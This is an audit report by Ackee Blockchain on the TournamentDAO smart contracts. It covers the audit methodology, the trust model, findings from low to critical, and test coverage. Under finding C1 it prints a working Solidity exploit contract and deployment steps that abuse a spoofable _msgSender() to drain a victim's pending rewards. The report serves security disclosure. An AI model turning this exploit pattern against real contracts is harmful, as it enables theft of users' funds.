ackee blockchain

Community Gaming

TournamentDAO

multi-signer-contract-size

Audit

11 January 2022

by Ackee Blockchain

Table of Contents

Document Revisions

Revision	Date	Description
1.0	2021/10/22	Critical issue report, pre-audit version
1.1	2021/10/25	Final report
1.2	2022/01/11	Updated audit

1. Overview

This document presents our findings in reviewed contracts.

1.1 Ackee Blockchain

Ackee Blockchain is an auditing company based in Prague, Czech Republic, specialized in audits and security assessments. Our mission is to build a stronger blockchain community by sharing knowledge – we run a free certification course Summer School of Solidity and teach at the Czech Technical University in Prague. Ackee Blockchain is backed by the largest VC fund focused on blockchain and DeFi in Europe, Rockaway Blockchain Fund.

1.2 Audit Methodology

1. **Technical specification/documentation** - a brief overview of the system is requested from the client and the scope of the audit is defined.
2. **Tool-based analysis** - deep check with automated Solidity analysis tools MythX and Slither is performed.
3. **Manual code review** - the code is checked line by line for common vulnerabilities, code duplication, best practices and the code architecture is reviewed.
4. **Local deployment + hacking** - the contracts are deployed locally and we try to attack the system and break it.
5. **Unit testing** - run unit tests to ensure that the system works as expected, potentially write missing unit tests.

1.3 Review team

The audit has been performed with a total time donation of 5 engineering days. The work was divided between the Lead Auditor who defined the methodology and performed manual code review. Automated tests were implemented by the second Auditor on the Lead Auditor's assignment. The whole process was supervised by the Audit Supervisor.

Member's Name	Position
Jan Kalivoda	Auditor
Štěpán Šonský	Lead Auditor
Josef Gattermayer, Ph.D.	Audit Supervisor

1.4 Disclaimer

We've put our best effort to find all vulnerabilities in the system, however our findings shouldn't be considered as a complete list of all existing issues.

2. Scope

This chapter describes the audit scope, contains provided specification, used documentation and set main objectives for the audit process.

2.1 Coverage

Files being audited:

- BaseRelayRecipient.sol
- ContributionManager.sol
- FeeManager.sol
- IReplayRecipient.sol
- MultiSigner.sol
- PendingWithdrawals.sol
- RetractionManager.sol
- TournamentDAO.sol

Sources revision used during the whole auditing process:

- Repository: **Private**
- Commit:
  - ~~91ff2458707a012cb3dfe5ee1832044bfd938347~~
  - ~~fa7e806b2ea95488fa93fadd79f88c6695d4144b~~
  - **e7390757c935ba79ad0ed03379a5b1919786d0fb**

The audited commit has been changed during the audit because of failing tests.

2.2 Supporting Documentation

Developers didn't provide any supporting documentation. We used source code comments for our understanding of the system.

2.3 Objectives

We've defined following main objectives of the audit:

- Check the code quality, architecture and best practices.
- Check if nobody unauthorized is able to steal funds.
- Check if reward calculations are consistent and don't contain any mismatches.

3. System Overview

This chapter describes the audited system from our understanding.

BaseRelayRecipient.sol

Base contract for `PendingWithdrawals`, used for receiving relayed transactions.

ContributionManager.sol

This contract manages contributions (Ether, ERC-20, ERC-721 or ERC-1155) into the tournaments. Contribute functions can be called only by TournamentDAO contract.

FeeManager.sol

Manages dev and organizer fees for tournaments, only the owner can manipulate with values. `TournamentDAO` inherits from this contract.

IReplayRecipient.sol

Abstract contract which is used as a parent of `BaseRelayRecipient`. Contains only functions' definitions, no implementation.

MultiSigner.sol

Validates second signer and recovers address from the signature. Used in `finishTournamentEth_ERC20()` and `finishTournamentERC721_ERC1155()` methods in `TournamentDAO` if `tournament.verifier` is used.

PendingWithdrawals.sol

This contract provides withdrawal management of Ether and tokens to players. `TournamentDAO` inherits from this abstract contract.

RetractionManager.sol

Extension of `TournamentDAO`, which manages retraction of tournaments.

TournamentDAO.sol

`TournamentDAO` is the main contract of the system and it's used for creating and managing tournaments.

Function `createTournament()` creates the new tournament, sets all the params and adds it into the tournaments mapping using incremental id as a key.

Sponsors or donors can contribute to tournament Ether, ERC-20 or ERC-721 or ERC-1155 tokens using `contributeEth()`, `contributeERC20()` and `contributeERC721_ERC1155()` functions.

Players can enroll into the tournament using the `enroll()` function, which also handles `buyInFee` in Ether or tokens. Players can also `unenroll()` from the tournament and `buyInFee` is retrieved back to the player.

An organizer of the tournament can retract it when `tournamentRetractableIn` elapsed and can return fees and contributions.

Payout logic for ERC721 tokens depends on the order of input arrays `_winners` and `_tokens` and transfers all `_tokenIds`. One winner will receive only one type of token.

4.Security Specification

This section specifies single roles and their relationships in terms of security in our understanding of the audited system. These understandings are later validated.

4.1 Actors

This part describes actors of the system, their roles and permissions.

Owner

Owner deploys contracts into the network. Contracts also use the Ownable pattern, so an ownership can be transferred to another account or can be permanently renounced. Owner can set an oracle in the TournamentDAO or set time when tournaments become retractable. He is also able to update the TournamentDAO address in ContributionManager and change fees in the FeeManager.

TournamentDAO

TournamentDAO's role is important in the ContributionManager, where it is responsible for allowing contributors to the tournament and to contribute using Ether or tokens.

Contributor / sponsor

Contributors and sponsors can transfer Ether or tokens into the tournament if that specific tournament hasn't restricted contributions. If tournament contributions are restricted, then the contributor address has to be whitelisted.

Tournament organizer

User which creates the tournament becomes it's organizer. The tournament organizer can retract the tournament and decide if contribution and buy-in fees are transferred instantly or saved as pending withdrawals.

Player

Players can enroll into tournaments by paying a buy-in fee. They can also unenroll from tournaments in which the player is already enrolled and in this case, buy-in fee is returned to the player.

4.2 Trust model

Players have to trust the contract owner in terms of holding all funds (fees, contributions, sponsorships).

Players have to trust tournament organizers, because they are responsible for calling finishTournament and processing payouts. The organizer can also update the `prizeDistribution` during the tournament.

Organizers of tournaments have to trust the owner regarding tournament retraction. Owner can set the `tournamentRetractableIn` variable during the tournament and potentially disallow the organizer retracting the tournament.

The owner can set a trusted forwarder to himself or any other address, which can withdraw players' funds or manipulate the contract many other ways by exploiting _msgSender() return value (see C1). This threat is also described in security considerations of EIP-2771.

5. Findings

This chapter shows detailed output of our analysis and testing.

5.1 General Comments

The code is well documented and everything is understandable, however more complex specification would be helpful. General code quality is average, it follows basic good practices, but there are also parts of the code, which could be written better.

5.2 Issues

Using our toolset, manual code review and unit testing we've identified the following issues.

Low

Low severity issues are more comments and recommendations rather than security issues. We provide hints on how to improve code readability and follow best practices. Further actions depend on the development team decision.

ID	Description	Contract	Line	Status
L1	Commented out code	TournamentDAO	353-355, 442-444	Acknowledged
		ContributionManager	161-163	
L2	Truffle config commented out default values	-	-	Acknowledged
L3	Code readability, missing require	MultiSigner	34	Acknowledged
L4	Incorrect use of enum for TokenVersion	TournamentDAO	Multiple	Fixed
L5	Abstract contract naming	IRelayRecipient	7	Partially fixed

L1: Keeping commented out code in the project isn't a good developer practice, we recommend deleting it.

L1 (rev. 1.2): Commented code has been deleted in TournamentDAO contract, not in ContrubutionManager contract.

L2: We recommend to keep only used values in the Truffle config to improve readability.

L3: According to the Ethereum Yellow Paper (Appendix F) and OpenZeppelin implementation, there could be applied changes making the code more readable and solid.

Replace:

```
if (v < 27) {
```

with:

```
if (v == 0 || v == 1) {
```

because any other value is not intended and place require below after line 46 to ensure that *v* is a correct element from given set:

```
require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value");
```

L4: Enum order can be accidentally changed and then a lot of conditions in the code could become broken. We recommend to consider better condition design instead of the "<" operator or add explicit comment to enum definition to avoid this kind of mistakes.

L4 (rev. 1.2): Fixed - Comments added to enums.

L5: Abstract contract IRelayRecipient uses naming for interfaces, which is misleading, we recommend removing the prefix "I".

L5 (rev. 1.2): File name has been changed, but includes typo (Replay instead of Relay) and contract name is still the same with "I" prefix.

Medium

Medium severity issues aren't security vulnerabilities, but should be clearly clarified or fixed.

ID	Description	Contract	Line	Status
M1	Git ignored package-lock.json	-	-	Fixed

M2	Missing coverage testing	-	-	Acknowledged
M3	Missing documentation	-	-	Acknowledged

M1: The package-lock.json file should always be in source control. It tracks dependencies and keeps the integrity hashes of each module in it, so the project is consistent across all contributors and a malicious module forcing his tag, can't affect the project.

M1 (rev. 1.2): File package-lock.json has been added.

M2: The solidity coverage plugin should be included in package.json and truffle-config.js since it is good practice to.

M3: There is no supporting documentation, even basic info about the contract and how it works. Game (Tournament) mechanics, permissions and privileged functions should be precisely described for upcoming auditors, because it helps to discover unintended contract behaviour.

High

High severity issues are security vulnerabilities, which require specific steps and conditions to be exploited. These issues have to be fixed.

ID	Description	Contract	Line	Status
H1	Organizer can assign all rewards to himself	TournamentDAO	498, 614	Acknowledged
H2	Organizer can change prize distribution during the tournament	TournamentDAO	201	Acknowledged

H1: The finishTournamentEth_ERC20() and the finishTournamentERC721_ERC1155() are designed to choose winners by the organizer of the tournament no matter the enrolled players or anything else, when the tournament.verifier is not set. Organizer can assign all rewards to himself or anybody else by filling the array of winners only with his address.

H1 (rev. 1.2): A valid signature is necessary to properly finish the tournament when the verifier is set, if the verifier equals address(0) signature check is skipped. The

issue has been acknowledged by developers with the following statement: “On our platform we plan on only supporting tournaments with us being the verifier”.

H2: Prize distribution can be changed during the tournament so the organizer can enroll some player and rearrange the rewards in his interests (full reward for him).

H2 (rev. 1.2): This issue has been acknowledged by developers.

Critical

Direct critical security threats, which could be instantly misused to attack the system. These issues have to be fixed.

ID	Description	Contract	Line	Status
C1	Vulnerable _msgSender()	BaseRelayRecipient	27	Fixed

C1:
Function _msgSender() is used in all contracts instead of the usual msg.sender function. This makes the whole contract extremely exploitable in many ways:

- an attacker can withdraw any pending rewards,
- onlyOrganizer modifier can be bypassed by an attacker,
- act as a oracle,
- unenroll any player,
- tournament retraction,
- unauthorized contributions (ERC20, ERC721, ERC1155).

The first red flag is that the setTrustedForwarder() function is just an external function. So anyone can set any address as a “trusted” address. The second red flag is withdrawPendingFunction(), which is not looking very solid.

An attacker just needs to claim himself as a trusted forwarder through setTrustedForwarder() function and then construct a transaction which has a length of msg.data higher or equal to 20. In this case _msgSender() function will not return msg.sender, but will execute an assembly code and return its calculated value:

```
address ret;
 assembly {
    ret := shr(96,calldataload(sub(calldatasize(),20)))
 }
 return ret;
```

This is interesting because anyone can adjust msg.data to have a custom address at the end, so with a specific payload an attacker can call _msgSender() and return any address.

Described in words (the first exploit), the Tournament has some pending rewards, an attacker will set his contract as a trusted forwarder and then will run his malicious contract to withdraw pending rewards using a call withdrawPendingReward() where _recipient is his contract's address and data payload has address of a victim.

The first line will set him as a recipient:

```
address recipientAddr = (_recipient == address(0)) ? _msgSender() : _recipient;
```

This line will set an amount of victim's reward using a vulnerable _msgSender() function:

```
uint256 amount = pendingWithdrawalOf[_msgSender()][address(0)][0];
```

Last lines will delete a reward of the victim and pay a reward for the attacker:

```
if (amount > 0) {
  delete pendingWithdrawalOf[_msgSender()][address(0)][0];
  payable(recipientAddr).transfer(amount);

  emit ManualWithdrawal(_msgSender(), _recipient, address(0), 0, amount);
}
```

The complete exploit:

```
contract PayloadAttacker {
  TournamentDAO public c;

  event Log(string message);
  constructor(TournamentDAO tDAO) {
    c = tDAO;
  }

  function lowLevelInteractionWithC(bytes calldata cd) external returns (bool success,
bytes memory returndata) {
    (success, returndata) = address(c).call(cd);
  }

  function executeAttack(address VICTIM_ADDRESS) public returns (bool success, bytes
memory returndata) {
    string memory sig         = "withdrawPendingReward(address[],uint256[][],address)";
```

```
        bytes memory data_base      = abi.encodeWithSignature(sig, new address[](0),new
uint[][](0),address(this));
        bytes memory data_extension = abi.encodePacked(VICTIM_ADDRESS);
        bytes memory data = abi.encodePacked(data_base, data_extension);
        (success, returndata) = address(c).call(data);
    }

    receive() payable external {
        emit Log("ether received");
    }
}
```

Call steps:

```
contributionManager = ContributionManager.deploy({'from': accounts[0]})
multiSigner = MultiSigner.deploy({'from': accounts[0]})
tournamentDAO =
TournamentDAO.deploy(contributionManager.address,ZERO_ADDRESS,multiSigner.address,{'f
rom': accounts[0]})
contributionManager.updateTournamentDAO(tournamentDAO.address)
tournament =
tournamentDAO.createTournament(False,1,0,100,1,3,1000,ZERO_ADDRESS,"",[5000,3900,1000],
ZERO_ADDRESS,{'from': accounts[0]})
tournamentDAO.enroll(0,accounts[3].address,"",{'from': accounts[3], 'value': 1000})
tournamentDAO.enroll(0,accounts[3].address,"",{'from': accounts[8], 'value': 1000})
tournamentDAO.enroll(0,accounts[3].address,"",{'from': accounts[9], 'value': 1000})
tournamentDAO.finishTournamentEth_ERC20(False,False,0,[accounts[3],accounts[8],account
s[9]],"",{'from': accounts[0]})
pa = PayloadAttacker.deploy(tournamentDAO,{'from': accounts[5]})
tournamentDAO.setTrustedForwarder(pa.address,{'from': accounts[5]}
pa.executeAttack(accounts[9].address,{'from': accounts[5]})
```

The script above will withdraw a reward for accounts[9] to (PayloadAttacker) contract.

To sum up, this vulnerability can be exploited to withdraw at least any pending rewards. Not tested but it's highly probable that it's also usable to withdraw any funds from the whole TournamentDAO contract, due to discovered high severity issues (see H1).

C1 (rev. 1.2): The issue was immediately reported and hotfixed by the team by using onlyOwner modifier on setTrustedForwarder() function, but the vulnerability still exists. Owner of the contract could be the initiator of the attack (consciously or by mistake), so there is still some risk. Even the owner shouldn't have such a big power.

5.3 Unit testing

There are a lot of test cases, but code coverage could be better (viz Appendix A). We didn't spend much time checking uncovered scenarios since when the audit started, almost all tests were failing and developers were fixing it repeatedly during the audit. Also, due to time donation, we needed more to focus on potential critical issues.

6. Conclusion

We started with the tool analysis, then the Lead Auditor performed a manual code review and a local smart contract deployment. The second auditor in parallel checked the test coverage and the correct contract behavior. At the beginning we found only minor issues because understanding of the code was more complicated than usual due to a lack of proper documentation.

We've later identified 2 high severity issues that lead to a discovery of a critical issue C1. We immediately reported the critical issue to the development team and it was fixed on a joint call between the auditors and the development team within 3 hours after the discovery. The report was delivered to the client in revision 1.1.

(rev. 1.2) The client reached us to check his implementation of fixes reacting to our findings in audit revision 1.1. We have identified issues L4 and M1 as fixed. The remaining issues have been acknowledged by the client. We would still recommend addressing issues H1 and H2, but they are not a direct security threat as long as Community Gaming acts as the tournament verifier.

Appendix A

Coverage results

File	% Stmts	% Branch	% Funcs	% Lines	Uncovered Lines
contracts/	79.46	62.5	72.58	79.18	
BaseRelayRecipient.sol	37.5	25	66.67	33.33	... 36,50,51,53
ContributionManager.sol	90.48	63.64	83.33	90.48	53,62,63,177
FeeManager.sol	100	100	100	100	
IReplayRecipient.sol	100	100	100	100	
MultiSigner.sol	0	0	0	0	... 34,35,42,51
PendingWithdrawals.sol	100	91.67	100	100	
RetractionManager.sol	100	100	66.67	100	
TournamentDAO.sol	80.08	64.2	70.27	80.24	... 801,803,830
contracts/test_tokens/	66.67	100	60	66.67	
DAI.sol	100	100	100	100	
TestERC1155.sol	100	100	100	100	
TestERC20.sol	100	100	100	100	
TestERC721.sol	100	100	100	100	
TestERC721WrongInterface.sol	0	100	0	0	8,9,10,11,12,16
All files	78.81	62.5	71.64	78.55	

ackee blockchain

Thank You

Ackee Blockchain a.s.

Prague, Czech Republic

hello@ackeeblockchain.com

https://discord.gg/z4KDUbuPxq